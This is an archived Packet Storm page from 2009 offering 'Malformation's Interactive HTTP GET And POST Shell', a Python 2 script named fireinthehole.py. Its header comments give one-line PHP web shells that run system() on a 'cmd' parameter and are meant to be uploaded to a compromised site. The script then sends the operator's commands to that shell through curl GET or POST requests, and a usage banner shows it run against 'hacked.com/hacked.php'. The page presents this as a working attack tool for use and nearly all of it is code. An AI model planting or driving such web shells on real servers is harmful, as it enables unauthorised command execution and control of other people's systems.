the last unbiased stronghold

Malformation's Interactive HTTP GET And POST Shell

Malformation's Interactive HTTP GET And POST Shell
Posted Nov 5, 2009
Authored by Malformation

This is Malformation's Interactive HTTP GET and POST Shell.

tags | tool, web, shell, rootkit
systems | unix
MD5 | d7235bb82a170d3076d93e9076975910

Malformation's Interactive HTTP GET And POST Shell

Change Mirror Download
#!/usr/bin/python
#
# Malformation's Interactive HTTP GET and POST Shell - fireinthehole.py
#
# Upload something like this to a php file:
# <?php if (isset($_POST["cmd"])) { system($_POST["cmd"]); } ?>
# <?php if (isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>
#
# Kisses go to .aware, OTW, STS, darkc0de, str0ke and some Aussies
# Please don't strip the credits out if you modify or redistribute.

import sys, os, time

print '''
Malformation's Interactive HTTP GET and POST Shell
Version - 1.0.0a

Tries to maintain current working directory when you use 'cd'.

Usage:
\tEnter the host => hacked.com/hacked.php
\tEnter the POST variable => cmd
\thacked.com/hacked.php# ls -la
\ttotal 12880
\tdrwxr-xr-x 2 web web 4096 2009-11-03 11:54 .
\tdrwxr-xr-x 15 root root 4096 2009-10-08 13:37 ..
\t-rw-r--r-- 1 web web 481 2009-11-02 18:58 hacked.php
\thacked.com/hacked.php# .
\tBye.
'''

# # # # # Configuration # # # # # #
# 0 to turn off curl verbosity #
debug = 1 #
# # # # # # # # # # # # # # # # # #

write = 0
curl_array = ["/bin/", "/usr/bin/", "/usr/sbin/"]
curl_dirs = ""
count = 0
finalcommand = ""
dir_array = []

for i in range(0,len(curl_array)):
if (os.path.exists(curl_array[i] + "curl")):
count = count + 1
curl_dirs = curl_dirs + curl_array[i] + " "

if (count == 0):
print "Couldn't find curl. Tried looking in " + curl_dirs
sys.exit(0)

try:
if (os.path.exists("fireinthehole.txt")):
file = open("fireinthehole.txt","a")
else:
file = open("fireinthehole.txt","w")
print "Output will be saved to fireinthehole.txt"
write = 1
except IOError:
print "Directory not writable, output will not be saved."

try:
host = raw_input("Enter the host => ")
method = raw_input("GET/POST => ")
if (method == "GET"):
myvar = raw_input("Enter the GET variable => ")
elif (method == "POST"):
myvar = raw_input("Enter the POST variable => ")
else:
sys.exit(0)
while True:
mycommand = raw_input(host + "# ")
finalcommand = ""
if (mycommand == "."):
print "Bye."
sys.exit(0)
mycommand = mycommand + "; "
if (mycommand[0] + mycommand[1] + mycommand[2] == "cd "):
dir_array.insert(len(dir_array) + 1, mycommand)
if (method == "GET"):
string = "curl -s \"" + host + "?" + myvar + "=" + mycommand + "\""
else:
string = "curl -s -d \"" + myvar + "=" + mycommand + "\" " + host
if (debug == 1):
print string + ":\n"
continue
if (len(dir_array) != 0):
for j in range(0,len(dir_array)):
finalcommand = finalcommand + dir_array[j]
finalcommand = finalcommand + mycommand
if (finalcommand != ""):
mycommand = finalcommand
if (method == "GET"):
string = "curl -s \"" + host + "?" + myvar + "=" + mycommand + "\""
else:
string = "curl -s -d \"" + myvar + "=" + mycommand + "\" " + host
if (debug == 1):
print string + ":\n"
command = os.popen(string,"r")
if (write == 1):
file.write(host + "# " + mycommand + "\n")
while(1):
line = command.readline()
line = line.strip()
if line:
print line
if (write == 1):
file.write(line + "\n")
else:
break
except KeyboardInterrupt:
print "\nBye."
sys.exit(0)

except:
print "Unhandled exception"
sys.exit(0)


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close